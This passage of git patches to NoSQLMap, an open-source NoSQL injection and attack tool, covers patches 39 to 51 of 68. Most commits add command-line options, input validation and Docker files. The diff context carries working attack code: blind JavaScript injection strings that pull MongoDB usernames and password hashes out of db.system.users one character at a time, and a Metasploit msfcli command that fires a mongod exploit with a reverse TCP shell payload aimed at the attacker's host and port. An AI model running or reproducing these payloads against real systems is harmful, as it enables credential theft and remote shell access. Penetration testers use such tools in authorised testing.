int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: username = username + chars[charCounterUsr] @@ -1088,7 +1094,7 @@ def getDBInfo(): hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&") req = urllib2.Request(hashUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: pwdHash = pwdHash + chars[charCounterHash] @@ -1111,7 +1117,7 @@ def getDBInfo(): usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: # Got the right number of characters @@ -1124,7 +1130,7 @@ def getDBInfo(): usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: username = username + chars[charCounterUsr] @@ -1146,7 +1152,7 @@ def getDBInfo(): hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&") req = urllib2.Request(hashUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: pwdHash = pwdHash + chars[charCounterHash] From b8852e237e7bf234a2e0465d0f8e440d3a36fe63 Mon Sep 17 00:00:00 2001 From: Nythiennzo Date: Mon, 4 Dec 2017 18:24:55 +0400 Subject: [PATCH 39/68] Fix bug on injectString size input. --- nsmweb.py | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index f38725e..8cc4935 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -81,7 +81,15 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if appUp == True: - injectSize = raw_input("Baseline test-Enter random string size: ") + sizeSelect = True + + while sizeSelect: + injectSize = raw_input("Baseline test-Enter random string size: ") + if injectSize.isdigit(): + sizeSelect = False + else: + print "Invalid! The size should be an integer." + injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" @@ -429,7 +437,15 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): raw_input("Something went wrong. Press enter to return to the main menu...") return - injectSize = raw_input("Baseline test-Enter random string size: ") + sizeSelect = True + + while sizeSelect: + injectSize = raw_input("Baseline test-Enter random string size: ") + if injectSize.isdigit(): + sizeSelect = False + else: + print "Invalid! The size should be an integer." + injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" From 44a22f52c7ccb9227112c6ae69062de7f97515ce Mon Sep 17 00:00:00 2001 From: ProDigySML Date: Tue, 13 Feb 2018 13:38:21 +1100 Subject: [PATCH 40/68] Added in a patch for URLs not working when they do not start with a / --- nosqlmap.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nosqlmap.py b/nosqlmap.py index d7df2da..1cbca51 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -247,6 +247,9 @@ def options(): elif select == "3": uri = raw_input("Enter URI Path (Press enter for no URI): ") + #Ensuring the URI path always starts with / and causes less errors + if uri[0] != "/": + uri = "/" + uri print "\nURI Path set to " + uri + "\n" optionSet[2] = True From a56e9a503dd228e26d38e2add4fb5717f92a145b Mon Sep 17 00:00:00 2001 From: JeromeNaucelle Date: Wed, 27 Jun 2018 14:32:49 +0200 Subject: [PATCH 41/68] Fix "Headers not loaded after saving" (aka bug-66) --- nosqlmap.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/nosqlmap.py b/nosqlmap.py index 1cbca51..58bf444 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -367,9 +367,15 @@ def options(): myPort = optList[5] verb = optList[6] https = optList[7] + + # saved headers position will depend of the request verb + headersPos= 1 if httpMethod == "POST": postData = ast.literal_eval(csvOpt[1]) + headersPos = 2 + + requestHeaders = ast.literal_eval(csvOpt[headersPos]) # Set option checking array based on what was loaded x = 0 From 71dcd79f0432bbc4499491a524a33afa744b7a05 Mon Sep 17 00:00:00 2001 From: Cotonne Date: Sun, 16 Sep 2018 09:38:20 +0200 Subject: [PATCH 42/68] Add arguments for main file --- nosqlmap.py | 89 ++++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 75 insertions(+), 14 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 58bf444..6a4064b 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -12,8 +12,10 @@ import signal import ast +import argparse -def main(): + +def main(args): signal.signal(signal.SIGINT, signal_handler) global optionSet # Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu. @@ -38,7 +40,10 @@ def main(): dbPort = 27017 myIP = "Not Set" myPort = "Not Set" - mainMenu() + if args.attack: + attack(args) + else: + mainMenu() def mainMenu(): global platform @@ -56,11 +61,11 @@ def mainMenu(): mmSelect = True while mmSelect: os.system('clear') - print " _ _ ___ ___ _ __ __           " - print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " + print " _ _ ___ ___ _ __ __ " + print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \\" print("|_|\_\___/___/\__\_\____|_| |_\__,_| .__/") - print(" v0.7 codingo@protonmail.com      |_|   ") + print(" v0.7 codingo@protonmail.com |_| ") print "\n" print "1-Set options" print "2-NoSQL DB Access Attacks" @@ -116,6 +121,50 @@ def mainMenu(): else: raw_input("Invalid selection. Press enter to continue.") +def build_request_headers(reqHeadersIn): + requestHeaders = {} + reqHeadersArray = reqHeadersIn.split(",") + headerNames = reqHeadersArray[0::2] + headerValues = reqHeadersArray[1::2] + requestHeaders = dict(zip(headerNames, headerValues)) + return requestHeaders + +def build_post_data(postDataIn): + pdArray = postDataIn.split(",") + paramNames = pdArray[0::2] + paramValues = pdArray[1::2] + postData = dict(zip(paramNames,paramValues)) + return postData + +def attack(args): + platform = args.platform + victim = args.victim + webPort = args.webPort + dbPort = args.dbPort + myIP = args.myIP + myPort = args.myPort + uri = args.uri + https = args.https + verb = args.verb + httpMethod = args.httpMethod + requestHeaders = build_request_headers(args.requestHeaders) + postData = build_post_data(args.postData) + + if args.attack == 1: + if platform == "MongoDB": + nsmmongo.netAttacks(victim, dbPort, myIP, myPort) + elif platform == "CouchDB": + nsmcouch.netAttacks(victim, dbPort, myIP) + elif args.attack == 2: + if httpMethod == "GET": + nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders) + elif httpMethod == "POST": + nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders) + elif args.attack == 3: + scanResult = nsmscan.massScan(platform) + if scanResult != None: + optionSet[0] = True + victim = scanResult[1] def platSel(): global platform @@ -288,10 +337,7 @@ def options(): print "POST request set" optionSet[3] = True postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n") - pdArray = postDataIn.split(",") - paramNames = pdArray[0::2] - paramValues = pdArray[1::2] - postData = dict(zip(paramNames,paramValues)) + build_post_data(postDataIn) httpMethod = "POST" else: @@ -448,14 +494,27 @@ def options(): elif select == "h": reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n") - reqHeadersArray = reqHeadersIn.split(",") - headerNames = reqHeadersArray[0::2] - headerValues = reqHeadersArray[1::2] - requestHeaders = dict(zip(headerNames, headerValues)) + build_request_headers(reqHeadersIn) elif select == "x": return +def build_parser(): + parser = argparse.ArgumentParser() + parser.add_argument("--attack", help="1 = NoSQL DB Access Attacks, 2 = NoSQL Web App attacks, 3 - Scan for Anonymous platform Access", type=int, choices=[1,2,3]) + parser.add_argument("--platform", help="Platform to attack", choices=["MongoDB", "CouchDB"], default="MongoDB") + parser.add_argument("--victim", help="Set target host/IP (ex: localhost or 127.0.0.1)") + parser.add_argument("--dbPort", help="Set shell listener port", type=int) + parser.add_argument("--myIP",help="Set my local platform/Shell IP") + parser.add_argument("--myPort",help="Set my local platform/Shell port", type=int) + parser.add_argument("--webPort", help="Set web app port ([1 - 65535])", type=int) + parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") + parser.add_argument("--httpMethod", help="Set HTTP Request Method", choices=["GET","POST"], default="GET") + parser.add_argument("--https", help="Toggle HTTPS", choices=["ON", "OFF"], default="OFF") + parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF") + parser.add_argument("--postData", help="Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") + parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") + return parser def signal_handler(signal, frame): print "\n" @@ -463,4 +522,6 @@ def signal_handler(signal, frame): sys.exit() if __name__ == '__main__': - main() + parser = build_parser() + args = parser.parse_args() + main(args) From 0628784b1e928f3c3d78e20eeee36516c9eafe32 Mon Sep 17 00:00:00 2001 From: Cotonne Date: Sun, 16 Sep 2018 10:44:30 +0200 Subject: [PATCH 43/68] Add parameters for Web Attack --- nosqlmap.py | 14 +++++-- nsmcouch.py | 5 ++- nsmmongo.py | 4 +- nsmscan.py | 4 +- nsmweb.py | 112 +++++++++++++++++++++++++++++++++------------------- 5 files changed, 90 insertions(+), 49 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 6a4064b..dd7dbf5 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -152,14 +152,14 @@ def attack(args): if args.attack == 1: if platform == "MongoDB": - nsmmongo.netAttacks(victim, dbPort, myIP, myPort) + nsmmongo.netAttacks(victim, dbPort, myIP, myPort, args) elif platform == "CouchDB": - nsmcouch.netAttacks(victim, dbPort, myIP) + nsmcouch.netAttacks(victim, dbPort, myIP, args) elif args.attack == 2: if httpMethod == "GET": - nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders) + nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders, args) elif httpMethod == "POST": - nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders) + nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args) elif args.attack == 3: scanResult = nsmscan.massScan(platform) if scanResult != None: @@ -514,6 +514,12 @@ def build_parser(): parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF") parser.add_argument("--postData", help="Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") + + modules = [nsmcouch, nsmmongo, nsmscan, nsmweb] + for module in modules: + for arg in module.args(): + parser.add_argument(arg[0], help=arg[1]) + return parser def signal_handler(signal, frame): diff --git a/nsmcouch.py b/nsmcouch.py index da63bca..f2d344b 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -21,6 +21,8 @@ yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] +def args(): + return [] def couchScan(target,port,pingIt): if pingIt == True: @@ -63,8 +65,7 @@ def couchScan(target,port,pingIt): except: return [3,None] - -def netAttacks(target,port, myIP): +def netAttacks(target,port, myIP, args = None): print "DB Access attacks (CouchDB)" print "======================" mgtOpen = False diff --git a/nsmmongo.py b/nsmmongo.py index 04a0b20..c01e410 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -18,8 +18,10 @@ yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] +def args(): + return [] -def netAttacks(target, dbPort, myIP, myPort): +def netAttacks(target, dbPort, myIP, myPort, args = None): print "DB Access attacks (MongoDB)" print "=================" mgtOpen = False diff --git a/nsmscan.py b/nsmscan.py index 1360b4f..06cb044 100644 --- a/nsmscan.py +++ b/nsmscan.py @@ -7,8 +7,10 @@ import nsmmongo import nsmcouch +def args(): + return [] -def massScan(platform): +def massScan(platform, args = None): yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] optCheck = True diff --git a/nsmweb.py b/nsmweb.py index 8cc4935..36b825d 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -19,7 +19,14 @@ ssl._create_default_https_context = ssl._create_unverified_context -def getApps(webPort,victim,uri,https,verb,requestHeaders): +def args(): + return [ + ["--injectSize", "Size of payload"], + ["--injectFormat", "1-Alphanumeric, 2-Letters only, 3-Numbers only, 4-Email address"], + ["--params", "Enter parameters to inject in a comma separated list"], + ["--doTimeAttack", "Start timing based tests (y/n)"]] + +def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): print "Web App Attacks (GET)" print "===============" paramName = [] @@ -81,25 +88,32 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if appUp == True: - sizeSelect = True + if args == None: + sizeSelect = not injectSize.isdigit() - while sizeSelect: - injectSize = raw_input("Baseline test-Enter random string size: ") - if injectSize.isdigit(): - sizeSelect = False - else: - print "Invalid! The size should be an integer." + while sizeSelect: + injectSize = raw_input("Baseline test-Enter random string size: ") + sizeSelect = not injectSize.isdigit() + if sizeSelect: + print "Invalid! The size should be an integer." + + format = randInjString(int(injectSize)) + else: + injectSize = int(args.injectSize) + format = args.injectFormat + + injectString = build_random_string(format, injectSize) - injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. if "?" not in appURL: print "No URI parameters provided for GET request...Check your options.\n" - raw_input("Press enter to continue...") + if args == None: + raw_input("Press enter to continue...") return() - randomUri = buildUri(appURL,injectString) + randomUri = buildUri(appURL,injectString, args) print "URI : " + randomUri req = urllib2.Request(randomUri, None, requestHeaders) @@ -260,8 +274,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): checkResult(randLength,injLen,testNum,verb,None) testNum += 1 - - doTimeAttack = raw_input("Start timing based tests (y/n)? ") + if args == None: + doTimeAttack = raw_input("Start timing based tests (y/n)? ") + else: + doTimeAttack = args.doTimeAttack if doTimeAttack.lower() == "y": print "Starting Javascript string escape time based injection..." @@ -323,7 +339,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): else: print "Integer attack-Unsuccessful" - fileOut = raw_input("Save results to file (y/n)? ") + if args == None: + fileOut = raw_input("Save results to file (y/n)? ") + else: + fileOut = "n" if fileOut.lower() == "y": savePath = raw_input("Enter output file name: ") @@ -349,7 +368,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): fo.write("\n") fo.close() - raw_input("Press enter to continue...") + if args == None: + raw_input("Press enter to continue...") return() @@ -430,20 +450,25 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): menuItem += 1 try: - injIndex = raw_input("Which parameter should we inject? ") + injIndex = 1 + if args == None: + injIndex = raw_input("Which parameter should we inject? ") + injOpt = str(postData.keys()[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." except: - raw_input("Something went wrong. Press enter to return to the main menu...") + if args == None: + raw_input("Something went wrong. Press enter to return to the main menu...") return - sizeSelect = True + + sizeSelect = (args == None) + injectSize = 1000 while sizeSelect: injectSize = raw_input("Baseline test-Enter random string size: ") - if injectSize.isdigit(): - sizeSelect = False - else: + sizeSelect = not injectSize.isdigit() + if sizeSelect: print "Invalid! The size should be an integer." injectString = randInjString(int(injectSize)) @@ -454,7 +479,6 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): postData.update({injOpt:injectString}) if verb == "ON": print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" - else: print "Sending random parameter value..." @@ -641,7 +665,9 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): testNum += 1 print "\n" - doTimeAttack = raw_input("Start timing based tests (y/n)? ") + doTimeAttack = "N" + if args == None: + doTimeAttack = raw_input("Start timing based tests (y/n)? ") if doTimeAttack == "y" or doTimeAttack == "Y": print "Starting Javascript string escape time based injection..." @@ -849,28 +875,29 @@ def randInjString(size): while format: format = raw_input("Select an option: ") + if format not in ["1", "2", "3", "4"]: + format = True + print "Invalid selection." + return format - if format == "1": - chars = string.ascii_letters + string.digits - return ''.join(random.choice(chars) for x in range(size)) - - elif format == "2": - chars = string.ascii_letters - return ''.join(random.choice(chars) for x in range(size)) +def build_random_string(format, size): + if format == "1": + chars = string.ascii_letters + string.digits + return ''.join(random.choice(chars) for x in range(size)) - elif format == "3": - chars = string.digits - return ''.join(random.choice(chars) for x in range(size)) + elif format == "2": + chars = string.ascii_letters + return ''.join(random.choice(chars) for x in range(size)) - elif format == "4": - chars = string.ascii_letters + string.digits - return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' - else: - format = True - print "Invalid selection." + elif format == "3": + chars = string.digits + return ''.join(random.choice(chars) for x in range(size)) + else: # format == "4": + chars = string.ascii_letters + string.digits + return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' -def buildUri(origUri, randValue): +def buildUri(origUri, randValue, args=None): paramName = [] paramValue = [] global uriArray @@ -898,7 +925,10 @@ def buildUri(origUri, randValue): menuItem += 1 try: - injIndex = raw_input("Enter parameters to inject in a comma separated list: ") + if args == None: + injIndex = raw_input("Enter parameters to inject in a comma separated list: ") + else: + injIndex = args.params for params in injIndex.split(","): injOpt.append(paramName[int(params)-1]) From 7a0d452cb3d11d951e9450895076ef4bcc40af3e Mon Sep 17 00:00:00 2001 From: Cotonne Date: Sun, 16 Sep 2018 18:09:22 +0200 Subject: [PATCH 44/68] Add more parameter for the web app scan --- nosqlmap.py | 5 +-- nsmweb.py | 89 ++++++++++++++++++++++++----------------------------- 2 files changed, 44 insertions(+), 50 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index dd7dbf5..4d1b733 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -516,9 +516,10 @@ def build_parser(): parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") modules = [nsmcouch, nsmmongo, nsmscan, nsmweb] - for module in modules: + for module in modules: + group = parser.add_argument_group(module.__name__) for arg in module.args(): - parser.add_argument(arg[0], help=arg[1]) + group.add_argument(arg[0], help=arg[1]) return parser diff --git a/nsmweb.py b/nsmweb.py index 36b825d..4bb00ce 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -19,12 +19,37 @@ ssl._create_default_https_context = ssl._create_unverified_context +def save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack): + fo = open(savePath, "wb") + fo.write ("Vulnerable URLs:\n") + fo.write("\n".join(vulnAddrs)) + fo.write("\n\n") + fo.write("Possibly Vulnerable URLs:\n") + fo.write("\n".join(possAddrs)) + fo.write("\n") + fo.write("Timing based attacks:\n") + + if strTbAttack == True: + fo.write("String Attack-Successful\n") + else: + fo.write("String Attack-Unsuccessful\n") + fo.write("\n") + + if intTbAttack == True: + fo.write("Integer attack-Successful\n") + else: + fo.write("Integer attack-Unsuccessful\n") + fo.write("\n") + fo.close() + def args(): return [ + ["--injectedParameter", "Parameter to be injected"], ["--injectSize", "Size of payload"], ["--injectFormat", "1-Alphanumeric, 2-Letters only, 3-Numbers only, 4-Email address"], ["--params", "Enter parameters to inject in a comma separated list"], - ["--doTimeAttack", "Start timing based tests (y/n)"]] + ["--doTimeAttack", "Start timing based tests (y/n)"], + ["--savePath", "output file name"]] def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): print "Web App Attacks (GET)" @@ -75,7 +100,6 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): if verb == "ON": print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" - else: print "App is up!" appUp = True @@ -342,31 +366,14 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): if args == None: fileOut = raw_input("Save results to file (y/n)? ") else: - fileOut = "n" + fileOut = "y" if args.savePath else "n" if fileOut.lower() == "y": - savePath = raw_input("Enter output file name: ") - fo = open(savePath, "wb") - fo.write ("Vulnerable URLs:\n") - fo.write("\n".join(vulnAddrs)) - fo.write("\n\n") - fo.write("Possibly Vulnerable URLs:\n") - fo.write("\n".join(possAddrs)) - fo.write("\n") - fo.write("Timing based attacks:\n") - - if strTbAttack == True: - fo.write("String Attack-Successful\n") - else: - fo.write("String Attack-Unsuccessful\n") - fo.write("\n") - - if intTbAttack == True: - fo.write("Integer attack-Successful\n") + if args == None: + savePath = raw_input("Enter output file name: ") else: - fo.write("Integer attack-Unsuccessful\n") - fo.write("\n") - fo.close() + savePath = args.savePath + save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack) if args == None: raw_input("Press enter to continue...") @@ -450,10 +457,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): menuItem += 1 try: - injIndex = 1 if args == None: injIndex = raw_input("Which parameter should we inject? ") - + else: + injIndex = int(args.injectedParameter) injOpt = str(postData.keys()[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." except: @@ -729,31 +736,17 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Integer attack-Unsuccessful" - fileOut = raw_input("Save results to file (y/n)? ") + if args == None: + fileOut = raw_input("Save results to file (y/n)? ") + else: + fileOut = "y" if args.savePath else "n" if fileOut.lower() == "y": - savePath = raw_input("Enter output file name: ") - fo = open(savePath, "wb") - fo.write ("Vulnerable Requests:\n") - fo.write("\n".join(vulnAddrs)) - fo.write("\n\n") - fo.write("Possibly Vulnerable Requests:\n") - fo.write("\n".join(possAddrs)) - fo.write("\n") - fo.write("Timing based attacks:\n") - - if strTbAttack == True: - fo.write("String Attack-Successful\n") - else: - fo.write("String Attack-Unsuccessful\n") - fo.write("\n") - - if intTbAttack == True: - fo.write("Integer attack-Successful\n") + if args == None: + savePath = raw_input("Enter output file name: ") else: - fo.write("Integer attack-Unsuccessful\n") - fo.write("\n") - fo.close() + savePath = args.savePath + save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack) raw_input("Press enter to continue...") return() From d351d1481570bc2bfad12c7966ca68255114cd2b Mon Sep 17 00:00:00 2001 From: Cotonne Date: Tue, 18 Sep 2018 18:23:15 +0200 Subject: [PATCH 45/68] Add support for App Web POST request --- nsmweb.py | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 4bb00ce..b2c649b 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -113,7 +113,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): if appUp == True: if args == None: - sizeSelect = not injectSize.isdigit() + sizeSelect = True while sizeSelect: injectSize = raw_input("Baseline test-Enter random string size: ") @@ -389,7 +389,7 @@ def getResponseBodyHandlingErrors(req): return responseBody -def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): +def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None): print "Web App Attacks (POST)" print "===============" paramName = [] @@ -468,17 +468,22 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): raw_input("Something went wrong. Press enter to return to the main menu...") return + if args == None: + sizeSelect = True - sizeSelect = (args == None) - injectSize = 1000 + while sizeSelect: + injectSize = raw_input("Baseline test-Enter random string size: ") + sizeSelect = not injectSize.isdigit() + if sizeSelect: + print "Invalid! The size should be an integer." - while sizeSelect: - injectSize = raw_input("Baseline test-Enter random string size: ") - sizeSelect = not injectSize.isdigit() - if sizeSelect: - print "Invalid! The size should be an integer." + format = randInjString(int(injectSize)) + else: + injectSize = int(args.injectSize) + format = args.injectFormat + + injectString = build_random_string(format, injectSize) - injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. @@ -747,8 +752,8 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: savePath = args.savePath save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack) - - raw_input("Press enter to continue...") + if args == None: + raw_input("Press enter to continue...") return() From 4aebe343c27593972b571ca74c7b94c38dba3284 Mon Sep 17 00:00:00 2001 From: CaptainFreak Date: Sat, 13 Oct 2018 10:05:35 +0530 Subject: [PATCH 46/68] Fixed bugs in choosing payload length and format --- nsmweb.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index b2c649b..554f699 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -125,7 +125,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): else: injectSize = int(args.injectSize) format = args.injectFormat - + + injectSize = int(injectSize) injectString = build_random_string(format, injectSize) print "Using " + injectString + " for injection testing.\n" @@ -869,13 +870,13 @@ def randInjString(size): print "2-Letters only" print "3-Numbers only" print "4-Email address" - format = True - while format: + while True: format = raw_input("Select an option: ") if format not in ["1", "2", "3", "4"]: - format = True print "Invalid selection." + else: + break return format def build_random_string(format, size): From 3db58aedc82ab9ed2e93a464c300f341f79ab7cc Mon Sep 17 00:00:00 2001 From: tripleee Date: Tue, 30 Oct 2018 10:23:52 +0200 Subject: [PATCH 47/68] Avoid shell=True in subprocess.call() The code doesn't need the shell for anything so this should be more efficient, as well as potentially more secure, and hopefully instructive for readers of the code. See also https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess --- nsmmongo.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nsmmongo.py b/nsmmongo.py index c01e410..ee61e02 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -338,7 +338,7 @@ def enumDbs (mongoConn): def msfLaunch(): try: - proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True) + proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"]) except: print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." From d521e671f712d884fa8b3b592b592cba3eaf877f Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Thu, 7 Feb 2019 16:08:31 -0500 Subject: [PATCH 48/68] Added Docker files. --- docker/Dockerfile | 15 +++++++++++++++ docker/entrypoint.sh | 2 ++ 2 files changed, 17 insertions(+) create mode 100644 docker/Dockerfile create mode 100644 docker/entrypoint.sh diff --git a/docker/Dockerfile b/docker/Dockerfile new file mode 100644 index 0000000..3882f3d --- /dev/null +++ b/docker/Dockerfile @@ -0,0 +1,15 @@ +FROM ubuntu:latest + +RUN apt-get update && apt-get install -y python python-pip git mongodb + +RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap + +WORKDIR /root/NoSqlMap + +RUN python setup.py install + +COPY entrypoint.sh /tmp/entrypoint.sh + +RUN chmod +x /tmp/entrypoint.sh + +ENTRYPOINT ["/tmp/entrypoint.sh"] diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh new file mode 100644 index 0000000..f424d72 --- /dev/null +++ b/docker/entrypoint.sh @@ -0,0 +1,2 @@ +#!/bin/bash +exec python nosqlmap.py From 69c7e7cd4414fc94a16c57b624c186d96b8ccbfe Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Thu, 7 Feb 2019 16:14:17 -0500 Subject: [PATCH 49/68] Updated README for Docker --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c3c5174..82e79d2 100644 --- a/README.md +++ b/README.md @@ -39,7 +39,10 @@ There are some various other libraries required that a normal Python installatio ``` python setup.py install ``` - +Alternatively you can build a Docker image by changing to the docker directory and entering: +``` +docker build -t nosqlmap . +``` ## Usage Instructions Start with ``` From 9a792221dc112d1069d94ac9c4c175811538d12c Mon Sep 17 00:00:00 2001 From: alexdetrano Date: Mon, 6 May 2019 14:12:01 -0400 Subject: [PATCH 50/68] fixed injectSize type error for Post attacks --- nsmweb.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nsmweb.py b/nsmweb.py index 554f699..e2fcc77 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -483,6 +483,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None) injectSize = int(args.injectSize) format = args.injectFormat + injectSize = int(injectSize) injectString = build_random_string(format, injectSize) print "Using " + injectString + " for injection testing.\n" From de427caa8c93d2512e3dcd99b3771adc48e3ed30 Mon Sep 17 00:00:00 2001 From: alexdetrano Date: Mon, 6 May 2019 14:24:24 -0400 Subject: [PATCH 51/68] remove trailing newlines and carriage return from parsed burp file --- nosqlmap.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 4d1b733..8af85f0 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -473,9 +473,11 @@ def options(): header = line.split(": "); requestHeaders[header[0]] = header[1].strip() - victim = reqData[1].split( " ")[1].replace("\r\n","") + victim = reqData[1].split( 